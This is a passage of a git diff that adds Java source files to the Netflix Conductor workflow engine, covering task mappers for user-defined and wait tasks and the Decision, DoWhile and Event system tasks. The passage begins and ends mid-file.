TaskModel} in a {@link TaskModel.Status#SCHEDULED} state + * + * @param taskMapperContext: A wrapper class containing the {@link WorkflowTask}, {@link + * WorkflowDef}, {@link WorkflowModel} and a string representation of the TaskId + * @return a List with just one User defined task + * @throws TerminateWorkflowException In case if the task definition does not exist + */ + @Override + public List getMappedTasks(TaskMapperContext taskMapperContext) + throws TerminateWorkflowException { + + LOGGER.debug("TaskMapperContext {} in UserDefinedTaskMapper", taskMapperContext); + + WorkflowTask workflowTask = taskMapperContext.getWorkflowTask(); + WorkflowModel workflowModel = taskMapperContext.getWorkflowModel(); + String taskId = taskMapperContext.getTaskId(); + int retryCount = taskMapperContext.getRetryCount(); + + TaskDef taskDefinition = + Optional.ofNullable(taskMapperContext.getTaskDefinition()) + .orElseGet( + () -> + Optional.ofNullable( + metadataDAO.getTaskDef( + workflowTask.getName())) + .orElseThrow( + () -> { + String reason = + String.format( + "Invalid task specified. Cannot find task by name %s in the task definitions", + workflowTask.getName()); + return new TerminateWorkflowException( + reason); + })); + + Map input = + parametersUtils.getTaskInputV2( + workflowTask.getInputParameters(), workflowModel, taskId, taskDefinition); + + TaskModel userDefinedTask = taskMapperContext.createTaskModel(); + userDefinedTask.setInputData(input); + userDefinedTask.setStatus(TaskModel.Status.SCHEDULED); + userDefinedTask.setRetryCount(retryCount); + userDefinedTask.setCallbackAfterSeconds(workflowTask.getStartDelay()); + userDefinedTask.setRateLimitPerFrequency(taskDefinition.getRateLimitPerFrequency()); + userDefinedTask.setRateLimitFrequencyInSeconds( + taskDefinition.getRateLimitFrequencyInSeconds()); + + return List.of(userDefinedTask); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/mapper/WaitTaskMapper.java b/core/src/main/java/com/netflix/conductor/core/execution/mapper/WaitTaskMapper.java new file mode 100644 index 0000000..4ae7db6 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/mapper/WaitTaskMapper.java @@ -0,0 +1,131 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.text.ParseException; +import java.time.Duration; +import java.util.*; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.execution.tasks.Wait; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_WAIT; +import static com.netflix.conductor.core.execution.tasks.Wait.DURATION_INPUT; +import static com.netflix.conductor.core.execution.tasks.Wait.UNTIL_INPUT; +import static com.netflix.conductor.core.utils.DateTimeUtils.parseDate; +import static com.netflix.conductor.core.utils.DateTimeUtils.parseDuration; +import static com.netflix.conductor.model.TaskModel.Status.FAILED_WITH_TERMINAL_ERROR; + +/** + * An implementation of {@link TaskMapper} to map a {@link WorkflowTask} of type {@link + * TaskType#WAIT} to a {@link TaskModel} of type {@link Wait} with {@link + * TaskModel.Status#IN_PROGRESS} + */ +@Component +public class WaitTaskMapper implements TaskMapper { + + public static final Logger LOGGER = LoggerFactory.getLogger(WaitTaskMapper.class); + + private final ParametersUtils parametersUtils; + + public WaitTaskMapper(ParametersUtils parametersUtils) { + this.parametersUtils = parametersUtils; + } + + @Override + public String getTaskType() { + return TaskType.WAIT.name(); + } + + @Override + public List getMappedTasks(TaskMapperContext taskMapperContext) { + + LOGGER.debug("TaskMapperContext {} in WaitTaskMapper", taskMapperContext); + + WorkflowModel workflowModel = taskMapperContext.getWorkflowModel(); + String taskId = taskMapperContext.getTaskId(); + + Map waitTaskInput = + parametersUtils.getTaskInputV2( + taskMapperContext.getWorkflowTask().getInputParameters(), + workflowModel, + taskId, + null); + + TaskModel waitTask = taskMapperContext.createTaskModel(); + waitTask.setTaskType(TASK_TYPE_WAIT); + waitTask.setInputData(waitTaskInput); + waitTask.setStartTime(System.currentTimeMillis()); + waitTask.setStatus(TaskModel.Status.IN_PROGRESS); + if (Objects.nonNull(taskMapperContext.getTaskDefinition())) { + waitTask.setIsolationGroupId( + taskMapperContext.getTaskDefinition().getIsolationGroupId()); + } + setCallbackAfter(waitTask); + return List.of(waitTask); + } + + void setCallbackAfter(TaskModel task) { + String duration = + Optional.ofNullable(task.getInputData().get(DURATION_INPUT)).orElse("").toString(); + String until = + Optional.ofNullable(task.getInputData().get(UNTIL_INPUT)).orElse("").toString(); + + if (StringUtils.isNotBlank(duration) && StringUtils.isNotBlank(until)) { + task.setReasonForIncompletion( + "Both 'duration' and 'until' specified. Please provide only one input"); + task.setStatus(FAILED_WITH_TERMINAL_ERROR); + return; + } + + if (StringUtils.isNotBlank(duration)) { + + Duration timeDuration = parseDuration(duration); + long waitTimeout = System.currentTimeMillis() + (timeDuration.getSeconds() * 1000); + task.setWaitTimeout(waitTimeout); + long seconds = timeDuration.getSeconds(); + task.setCallbackAfterSeconds(seconds); + + } else if (StringUtils.isNotBlank(until)) { + try { + + Date expiryDate = parseDate(until); + long timeInMS = expiryDate.getTime(); + long now = System.currentTimeMillis(); + long seconds = ((timeInMS - now) / 1000); + if (seconds < 0) { + seconds = 0; + } + task.setCallbackAfterSeconds(seconds); + task.setWaitTimeout(timeInMS); + + } catch (ParseException parseException) { + task.setReasonForIncompletion( + "Invalid/Unsupported Wait Until format. Provided: " + until); + task.setStatus(FAILED_WITH_TERMINAL_ERROR); + } + } else { + // If there is no time duration specified then the WAIT task should wait forever + task.setCallbackAfterSeconds(Integer.MAX_VALUE); + } + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/tasks/Decision.java b/core/src/main/java/com/netflix/conductor/core/execution/tasks/Decision.java new file mode 100644 index 0000000..90941ed --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/tasks/Decision.java @@ -0,0 +1,42 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import org.springframework.stereotype.Component; + +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_DECISION; + +/** + * @deprecated {@link Decision} is deprecated. Use {@link Switch} task for condition evaluation + * using the extensible evaluation framework. Also see ${@link + * com.netflix.conductor.common.metadata.workflow.WorkflowTask}). + */ +@Deprecated +@Component(TASK_TYPE_DECISION) +public class Decision extends WorkflowSystemTask { + + public Decision() { + super(TASK_TYPE_DECISION); + } + + @Override + public boolean execute( + WorkflowModel workflow, TaskModel task, WorkflowExecutor workflowExecutor) { + task.setStatus(TaskModel.Status.COMPLETED); + return true; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/tasks/DoWhile.java b/core/src/main/java/com/netflix/conductor/core/execution/tasks/DoWhile.java new file mode 100644 index 0000000..9dd4211 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/tasks/DoWhile.java @@ -0,0 +1,591 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.util.*; +import java.util.stream.Collectors; +import java.util.stream.IntStream; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.annotations.VisibleForTesting; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.utils.TaskUtils; +import com.netflix.conductor.core.dal.ExecutionDAOFacade; +import com.netflix.conductor.core.events.ScriptEvaluator; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_DO_WHILE; + +@Component(TASK_TYPE_DO_WHILE) +public class DoWhile extends WorkflowSystemTask { + + private static final Logger LOGGER = LoggerFactory.getLogger(DoWhile.class); + + private final ParametersUtils parametersUtils; + private final ExecutionDAOFacade executionDAOFacade; + + public DoWhile(ParametersUtils parametersUtils, ExecutionDAOFacade executionDAOFacade) { + super(TASK_TYPE_DO_WHILE); + this.parametersUtils = parametersUtils; + this.executionDAOFacade = executionDAOFacade; + } + + @Override + public void cancel(WorkflowModel workflow, TaskModel task, WorkflowExecutor executor) { + task.setStatus(TaskModel.Status.CANCELED); + } + + @Override + public boolean execute( + WorkflowModel workflow, TaskModel doWhileTaskModel, WorkflowExecutor workflowExecutor) { + + boolean hasFailures = false; + StringBuilder failureReason = new StringBuilder(); + Map output = new HashMap<>(); + + /* + * Get the latest set of tasks (the ones that have the highest retry count). We don't want to evaluate any tasks + * that have already failed if there is a more current one (a later retry count). + */ + Map relevantTasks = new LinkedHashMap<>(); + TaskModel relevantTask; + for (TaskModel t : workflow.getTasks()) { + if (doWhileTaskModel + .getWorkflowTask() + .has(TaskUtils.removeIterationFromTaskRefName(t.getReferenceTaskName())) + && !doWhileTaskModel.getReferenceTaskName().equals(t.getReferenceTaskName()) + && doWhileTaskModel.getIteration() == t.getIteration()) { + relevantTask = relevantTasks.get(t.getReferenceTaskName()); + if (relevantTask == null || t.getRetryCount() > relevantTask.getRetryCount()) { + relevantTasks.put(t.getReferenceTaskName(), t); + } + } + } + Collection loopOverTasks = relevantTasks.values(); + + if (LOGGER.isDebugEnabled()) { + LOGGER.debug( + "Workflow {} waiting for tasks {} to complete iteration {}", + workflow.getWorkflowId(), + loopOverTasks.stream() + .map(TaskModel::getReferenceTaskName) + .collect(Collectors.toList()), + doWhileTaskModel.getIteration()); + } + + // if the loopOverTasks collection is empty, no tasks inside the loop have been scheduled. + // so schedule it and exit the method. + if (loopOverTasks.isEmpty()) { + // For list iteration, check if the items list is empty before scheduling iteration 1. + // An empty items list means there is nothing to iterate over, so complete immediately. + if (isListIteration(doWhileTaskModel)) { + List itemsList = evaluateItemsList(workflow, doWhileTaskModel); + if (itemsList.isEmpty()) { + LOGGER.debug( + "Task {} has an empty items list, completing without executing loop tasks", + doWhileTaskModel.getTaskId()); + doWhileTaskModel.addOutput("iteration", 0); + return markTaskSuccess(doWhileTaskModel); + } + } + + doWhileTaskModel.setIteration(1); + doWhileTaskModel.addOutput("iteration", doWhileTaskModel.getIteration()); + + // For list iteration, inject loopItem and loopIndex + injectLoopVariables(workflow, doWhileTaskModel); + + return scheduleNextIteration(doWhileTaskModel, workflow, workflowExecutor); + } + + for (TaskModel loopOverTask : loopOverTasks) { + TaskModel.Status taskStatus = loopOverTask.getStatus(); + hasFailures = !taskStatus.isSuccessful(); + if (hasFailures) { + failureReason.append(loopOverTask.getReasonForIncompletion()).append(" "); + } + output.put( + TaskUtils.removeIterationFromTaskRefName(loopOverTask.getReferenceTaskName()), + loopOverTask.getOutputData()); + if (hasFailures) { + break; + } + } + doWhileTaskModel.addOutput(String.valueOf(doWhileTaskModel.getIteration()), output); + + Optional keepLastN = + Optional.ofNullable(doWhileTaskModel.getWorkflowTask().getInputParameters()) + .map(parameters -> parameters.get("keepLastN")) + .map(value -> (Integer) value); + if (keepLastN.isPresent() && doWhileTaskModel.getIteration() > keepLastN.get()) { + Integer iteration = doWhileTaskModel.getIteration(); + IntStream.rangeClosed(1, iteration - keepLastN.get()) + .mapToObj(Integer::toString) + .forEach(doWhileTaskModel::removeOutput); + + // Remove old iteration tasks from the database + removeIterations(workflow, doWhileTaskModel, keepLastN.get()); + } + + if (hasFailures) { + LOGGER.debug( + "Task {} failed in {} iteration", + doWhileTaskModel.getTaskId(), + doWhileTaskModel.getIteration() + 1); + return markTaskFailure( + doWhileTaskModel, TaskModel.Status.FAILED, failureReason.toString()); + } + + if (!isIterationComplete(doWhileTaskModel, relevantTasks)) { + // current iteration is not complete (all tasks inside the loop are not terminal) + return false; + } + + // if we are here, the iteration is complete, and we need to check if there is a next + // iteration by evaluating the loopCondition + boolean shouldContinue; + try { + shouldContinue = evaluateCondition(workflow, doWhileTaskModel); + LOGGER.debug( + "Task {} condition evaluated to {}", + doWhileTaskModel.getTaskId(), + shouldContinue); + if (shouldContinue) { + doWhileTaskModel.setIteration(doWhileTaskModel.getIteration() + 1); + doWhileTaskModel.addOutput("iteration", doWhileTaskModel.getIteration()); + + // For list iteration, inject loopItem and loopIndex for next iteration + injectLoopVariables(workflow, doWhileTaskModel); + + return scheduleNextIteration(doWhileTaskModel, workflow, workflowExecutor); + } else { + LOGGER.debug( + "Task {} took {} iterations to complete", + doWhileTaskModel.getTaskId(), + doWhileTaskModel.getIteration() + 1); + return markTaskSuccess(doWhileTaskModel); + } + } catch (Exception e) { + String message = + String.format( + "Unable to evaluate condition %s, exception %s", + doWhileTaskModel.getWorkflowTask().getLoopCondition(), e.getMessage()); + LOGGER.error(message); + return markTaskFailure( + doWhileTaskModel, TaskModel.Status.FAILED_WITH_TERMINAL_ERROR, message); + } + } + + /** + * Removes old iterations from the workflow to prevent database bloat. This method identifies + * and deletes tasks from iterations that exceed the keepLastN retention policy. + * + * @param workflow The workflow model containing all tasks + * @param doWhileTaskModel The DO_WHILE task model + * @param keepLastN Number of most recent iterations to keep + */ + @VisibleForTesting + void removeIterations(WorkflowModel workflow, TaskModel doWhileTaskModel, int keepLastN) { + int currentIteration = doWhileTaskModel.getIteration(); + + // Calculate which iterations should be removed (all iterations before currentIteration - + // keepLastN) + int iterationsToRemove = currentIteration - keepLastN; + + if (iterationsToRemove <= 0) { + // Nothing to remove yet + return; + } + + LOGGER.debug( + "Removing iterations 1 to {} for DO_WHILE task {} (keeping last {} iterations)", + iterationsToRemove, + doWhileTaskModel.getReferenceTaskName(), + keepLastN); + + // Find and remove tasks from old iterations + List tasksToRemove = + workflow.getTasks().stream() + .filter( + task -> { + // Check if this task belongs to the DO_WHILE loop + String taskRefWithoutIteration = + TaskUtils.removeIterationFromTaskRefName( + task.getReferenceTaskName()); + boolean belongsToLoop = + doWhileTaskModel + .getWorkflowTask() + .has(taskRefWithoutIteration) + && !doWhileTaskModel + .getReferenceTaskName() + .equals(task.getReferenceTaskName()); + + // Check if this task is from an old iteration that should be + // removed + boolean isOldIteration = + task.getIteration() <= iterationsToRemove; + + return belongsToLoop && isOldIteration; + }) + .collect(Collectors.toList()); + + // Remove each task from the database + for (TaskModel taskToRemove : tasksToRemove) { + try { + LOGGER.debug( + "Removing task {} (iteration {}) from workflow {}", + taskToRemove.getReferenceTaskName(), + taskToRemove.getIteration(), + workflow.getWorkflowId()); + executionDAOFacade.removeTask(taskToRemove.getTaskId()); + } catch (Exception e) { + LOGGER.error( + "Failed to remove task {} (iteration {}) from workflow {}", + taskToRemove.getReferenceTaskName(), + taskToRemove.getIteration(), + workflow.getWorkflowId(), + e); + // Continue with other tasks even if one fails + } + } + + LOGGER.info( + "Removed {} tasks from {} old iterations for DO_WHILE task {} in workflow {}", + tasksToRemove.size(), + iterationsToRemove, + doWhileTaskModel.getReferenceTaskName(), + workflow.getWorkflowId()); + } + + /** + * Check if all tasks in the current iteration have reached terminal state. + * + * @param doWhileTaskModel The {@link TaskModel} of DO_WHILE. + * @param referenceNameToModel Map of taskReferenceName to {@link TaskModel}. + * @return true if all tasks in DO_WHILE.loopOver are in referenceNameToModel and + * reached terminal state. + */ + private boolean isIterationComplete( + TaskModel doWhileTaskModel, Map referenceNameToModel) { + List workflowTasksInsideDoWhile = + doWhileTaskModel.getWorkflowTask().getLoopOver(); + int iteration = doWhileTaskModel.getIteration(); + boolean allTasksTerminal = true; + for (WorkflowTask workflowTaskInsideDoWhile : workflowTasksInsideDoWhile) { + String taskReferenceName = + TaskUtils.appendIteration( + workflowTaskInsideDoWhile.getTaskReferenceName(), iteration); + if (referenceNameToModel.containsKey(taskReferenceName)) { + TaskModel taskModel = referenceNameToModel.get(taskReferenceName); + if (!taskModel.getStatus().isTerminal()) { + allTasksTerminal = false; + break; + } + } else { + allTasksTerminal = false; + break; + } + } + + if (!allTasksTerminal) { + // Cases where tasks directly inside loop over are not completed. + // loopOver -> [task1 -> COMPLETED, task2 -> IN_PROGRESS] + return false; + } + + // Check all the tasks in referenceNameToModel are completed or not. These are set of tasks + // which are not directly inside loopOver tasks, but they are under hierarchy + // loopOver -> [decisionTask -> COMPLETED [ task1 -> COMPLETED, task2 -> IN_PROGRESS]] + if (referenceNameToModel.values().stream() + .anyMatch(taskModel -> !taskModel.getStatus().isTerminal())) { + return false; + } + + // Check that every terminal task's successor within the DO_WHILE hierarchy has been + // scheduled. This guards against premature iteration advancement caused by intra-loop + // ordering in decide(): INLINE (and other sync system tasks) share the + // tasksToBeScheduled loop with DO_WHILE. If the sync task executes first it becomes + // terminal in memory, but the decider hasn't yet run to schedule its successor. Without + // this check DO_WHILE would declare the iteration complete and advance. + // loopOver -> [SWITCH -> COMPLETED [ task1 -> COMPLETED, task2 -> NOT_YET_SCHEDULED ]] + String doWhileRef = doWhileTaskModel.getWorkflowTask().getTaskReferenceName(); + for (TaskModel task : referenceNameToModel.values()) { + if (task.getStatus().isTerminal()) { + String refNameWithoutIteration = + TaskUtils.removeIterationFromTaskRefName(task.getReferenceTaskName()); + WorkflowTask nextWorkflowTask = + doWhileTaskModel.getWorkflowTask().next(refNameWithoutIteration, null); + // A non-null next task that is still within the DO_WHILE hierarchy (i.e. not the + // DO_WHILE task itself, which is returned for the last task in the sequence) means + // there is a successor that must be scheduled before the iteration is complete. + if (nextWorkflowTask != null + && !doWhileRef.equals(nextWorkflowTask.getTaskReferenceName()) + && doWhileTaskModel + .getWorkflowTask() + .has(nextWorkflowTask.getTaskReferenceName())) { + String nextTaskRef = + TaskUtils.appendIteration( + nextWorkflowTask.getTaskReferenceName(), iteration); + if (!referenceNameToModel.containsKey(nextTaskRef)) { + // Successor task not yet scheduled — iteration is not complete. + return false; + } + } + } + } + + return true; + } + + boolean scheduleNextIteration( + TaskModel doWhileTaskModel, WorkflowModel workflow, WorkflowExecutor workflowExecutor) { + LOGGER.debug( + "Scheduling loop tasks for task {} as condition {} evaluated to true", + doWhileTaskModel.getTaskId(), + doWhileTaskModel.getWorkflowTask().getLoopCondition()); + workflowExecutor.scheduleNextIteration(doWhileTaskModel, workflow); + return true; // Return true even though status not changed. Iteration has to be updated in + // execution DAO. + } + + boolean markTaskFailure(TaskModel taskModel, TaskModel.Status status, String failureReason) { + LOGGER.error("Marking task {} failed with error.", taskModel.getTaskId()); + taskModel.setReasonForIncompletion(failureReason); + taskModel.setStatus(status); + return true; + } + + boolean markTaskSuccess(TaskModel taskModel) { + LOGGER.debug( + "Task {} took {} iterations to complete", + taskModel.getTaskId(), + taskModel.getIteration() + 1); + taskModel.setStatus(TaskModel.Status.COMPLETED); + return true; + } + + /** + * Inject loopItem and loopIndex variables into the DO_WHILE task output for list iteration. + * Tasks inside the loop can access these via workflow expressions. + * + * @param workflow The workflow model + * @param doWhileTask The DO_WHILE task model + */ + @VisibleForTesting + void injectLoopVariables(WorkflowModel workflow, TaskModel doWhileTask) { + if (!isListIteration(doWhileTask)) { + return; + } + + List itemsList = evaluateItemsList(workflow, doWhileTask); + int currentIteration = doWhileTask.getIteration(); + int loopIndex = currentIteration - 1; // 0-based index + + // Add loopIndex to output + doWhileTask.addOutput("loopIndex", loopIndex); + + // Add loopItem to output if within bounds + if (loopIndex >= 0 && loopIndex < itemsList.size()) { + Object loopItem = itemsList.get(loopIndex); + doWhileTask.addOutput("loopItem", loopItem); + LOGGER.debug( + "Injected loop variables for task {}: loopIndex={}, loopItem={}", + doWhileTask.getTaskId(), + loopIndex, + loopItem); + } else { + LOGGER.warn( + "loopIndex {} is out of bounds for items list of size {} in task {}", + loopIndex, + itemsList.size(), + doWhileTask.getTaskId()); + } + } + + /** + * Check if this DO_WHILE task is using list iteration mode (has 'items' parameter or '_items' + * in inputParameters for Orkes compatibility) + * + * @param task The DO_WHILE task model + * @return true if the task has an 'items' parameter set or '_items' in inputParameters + */ + @VisibleForTesting + boolean isListIteration(TaskModel task) { + // Check new OSS approach: items field on WorkflowTask + String items = task.getWorkflowTask().getItems(); + if (items != null && !items.trim().isEmpty()) { + return true; + } + + // Check Orkes compatibility: _items in inputParameters + Map inputParams = task.getWorkflowTask().getInputParameters(); + if (inputParams != null && inputParams.containsKey("_items")) { + Object itemsValue = inputParams.get("_items"); + return itemsValue != null + && (itemsValue instanceof String && !((String) itemsValue).trim().isEmpty() + || itemsValue instanceof Collection + || itemsValue instanceof Object[]); + } + + return false; + } + + /** + * Evaluate the 'items' parameter to get the list of items to iterate over. Supports both new + * OSS approach (items field on WorkflowTask) and Orkes compatibility (_items in + * inputParameters). + * + * @param workflow The workflow model + * @param task The DO_WHILE task model + * @return List of items to iterate over, or empty list if items cannot be evaluated + */ + @VisibleForTesting + List evaluateItemsList(WorkflowModel workflow, TaskModel task) { + TaskDef taskDefinition = task.getTaskDefinition().orElse(null); + Object itemsValue = null; + + // Priority 1: Check new OSS approach - items field on WorkflowTask + String itemsParam = task.getWorkflowTask().getItems(); + if (itemsParam != null && !itemsParam.trim().isEmpty()) { + // Create a temporary input parameters map with the items parameter + Map tempInputParams = new HashMap<>(); + tempInputParams.put("items", itemsParam); + + // Use ParametersUtils to evaluate the expression + Map evaluatedParams = + parametersUtils.getTaskInputV2( + tempInputParams, workflow, task.getTaskId(), taskDefinition); + + itemsValue = evaluatedParams.get("items"); + } + + // Priority 2: Check Orkes compatibility - _items in inputParameters + if (itemsValue == null) { + Map evaluatedInputParams = + parametersUtils.getTaskInputV2( + task.getWorkflowTask().getInputParameters(), + workflow, + task.getTaskId(), + taskDefinition); + + if (evaluatedInputParams.containsKey("_items")) { + itemsValue = evaluatedInputParams.get("_items"); + } + } + + // Convert itemsValue to List + if (itemsValue instanceof List) { + return (List) itemsValue; + } else if (itemsValue instanceof Collection) { + return new ArrayList<>((Collection) itemsValue); + } else if (itemsValue instanceof Object[]) { + return Arrays.asList((Object[]) itemsValue); + } else if (itemsValue != null) { + // If it's a single value, wrap it in a list + return Collections.singletonList(itemsValue); + } + + return Collections.emptyList(); + } + + @VisibleForTesting + boolean evaluateCondition(WorkflowModel workflow, TaskModel task) { + TaskDef taskDefinition = task.getTaskDefinition().orElse(null); + // Use paramUtils to compute the task input + Map conditionInput = + parametersUtils.getTaskInputV2( + task.getWorkflowTask().getInputParameters(), + workflow, + task.getTaskId(), + taskDefinition); + conditionInput.put(task.getReferenceTaskName(), task.getOutputData()); + List loopOver = + workflow.getTasks().stream() + .filter( + t -> + (task.getWorkflowTask() + .has( + TaskUtils + .removeIterationFromTaskRefName( + t + .getReferenceTaskName())) + && !task.getReferenceTaskName() + .equals(t.getReferenceTaskName()))) + .collect(Collectors.toList()); + + for (TaskModel loopOverTask : loopOver) { + conditionInput.put( + TaskUtils.removeIterationFromTaskRefName(loopOverTask.getReferenceTaskName()), + loopOverTask.getOutputData()); + } + + // Check if we're in list iteration mode + if (isListIteration(task)) { + List itemsList = evaluateItemsList(workflow, task); + int currentIteration = task.getIteration(); + + // Inject loopIndex and loopItem into condition input + // loopIndex is 0-based (currentIteration - 1 because iteration starts at 1) + int loopIndex = currentIteration - 1; + conditionInput.put("loopIndex", loopIndex); + + // Inject loopItem if we're within bounds + if (loopIndex >= 0 && loopIndex < itemsList.size()) { + conditionInput.put("loopItem", itemsList.get(loopIndex)); + } + + // For list iteration, continue if we haven't reached the end of the list + // The condition is: loopIndex < itemsList.size() - 1 (there's another item after + // current) + boolean hasMoreItems = loopIndex < itemsList.size() - 1; + + // If there's a loopCondition, evaluate it AND combine with hasMoreItems + // Otherwise, just use hasMoreItems + String condition = task.getWorkflowTask().getLoopCondition(); + if (condition != null && !condition.trim().isEmpty()) { + LOGGER.debug( + "List iteration: Evaluating condition: {} with loopIndex={}, loopItem={}", + condition, + loopIndex, + conditionInput.get("loopItem")); + boolean conditionResult = ScriptEvaluator.evalBool(condition, conditionInput); + // Continue only if BOTH condition is true AND there are more items + return conditionResult && hasMoreItems; + } else { + LOGGER.debug( + "List iteration: loopIndex={}, items.size={}, hasMoreItems={}", + loopIndex, + itemsList.size(), + hasMoreItems); + return hasMoreItems; + } + } + + // Counter-based iteration (backward compatibility) + String condition = task.getWorkflowTask().getLoopCondition(); + boolean result = false; + if (condition != null) { + LOGGER.debug("Condition: {} is being evaluated", condition); + // Evaluate the expression by using the Nashorn based script evaluator + result = ScriptEvaluator.evalBool(condition, conditionInput); + } + return result; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/execution/tasks/Event.java b/core/src/main/java/com/netflix/conductor/core/execution/tasks/Event.java new file mode 100644 index 0000000..a46cc69 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/execution/tasks/Event.java @@ -0,0 +1,176 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.tasks; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.annotations.VisibleForTesting; +import com.netflix.conductor.core.events.EventQueues; +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.core.events.queue.ObservableQueue; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_EVENT; + +@Component(TASK_TYPE_EVENT) +public class Event extends WorkflowSystemTask { + + private static final Logger LOGGER = LoggerFactory.getLogger(Event.class); + public static final String NAME = "EVENT"; + + private static final String EVENT_PRODUCED = "event_produced"; + + private final ObjectMapper objectMapper; + private final ParametersUtils parametersUtils; + private final EventQueues eventQueues; + + public Event( + EventQueues eventQueues, ParametersUtils parametersUtils, ObjectMapper objectMapper) { + super(TASK_TYPE_EVENT); + this.parametersUtils = parametersUtils; + this.eventQueues = eventQueues; + this.objectMapper = objectMapper; + } + + @Override + public void start(WorkflowModel workflow, TaskModel task, WorkflowExecutor workflowExecutor) { + Map payload = new HashMap<>(task.getInputData()); + payload.put("workflowInstanceId", workflow.getWorkflowId()); + payload.put("workflowType", workflow.getWorkflowName()); + payload.put("workflowVersion", workflow.getWorkflowVersion()); + payload.put("correlationId", workflow.getCorrelationId()); + payload.put("taskToDomain", workflow.getTaskToDomain()); + + task.setStatus(TaskModel.Status.IN_PROGRESS); + task.addOutput(payload); + + try { + task.addOutput(EVENT_PRODUCED, computeQueueName(workflow, task)); + } catch (Exception e) { + task.setStatus(TaskModel.Status.FAILED); + task.setReasonForIncompletion(e.getMessage()); + LOGGER.error( + "Error executing task: {}, workflow: {}", + task.getTaskId(), + workflow.getWorkflowId(), + e); + } + } + + @Override + public boolean execute( + WorkflowModel workflow, TaskModel task, WorkflowExecutor workflowExecutor) { + try { + String queueName = (String) task.getOutputData().get(EVENT_PRODUCED); + ObservableQueue queue = getQueue(queueName, task.getTaskId()); + Message message = getPopulatedMessage(task); + queue.publish(List.of(message)); + LOGGER.debug("Published message:{} to queue:{}", message.getId(), queue.getName()); + if (!isAsyncComplete(task)) { + task.setStatus(TaskModel.Status.COMPLETED); + return true; + } + } catch (JsonProcessingException jpe) { + task.setStatus(TaskModel.Status.FAILED); + task.setReasonForIncompletion("Error serializing JSON payload: " + jpe.getMessage()); + LOGGER.error( + "Error serializing JSON payload for task: {}, workflow: {}", + task.getTaskId(), + workflow.getWorkflowId()); + } catch (Exception e) { + task.setStatus(TaskModel.Status.FAILED); + task.setReasonForIncompletion(e.getMessage()); + LOGGER.error( + "Error executing task: {}, workflow: {}", + task.getTaskId(), + workflow.getWorkflowId(), + e); + } + return false; + } + + @Override + public void cancel(WorkflowModel workflow, TaskModel task, WorkflowExecutor workflowExecutor) { + Message message = new Message(task.getTaskId(), null, task.getTaskId()); + String queueName = computeQueueName(workflow, task); + ObservableQueue queue = getQueue(queueName, 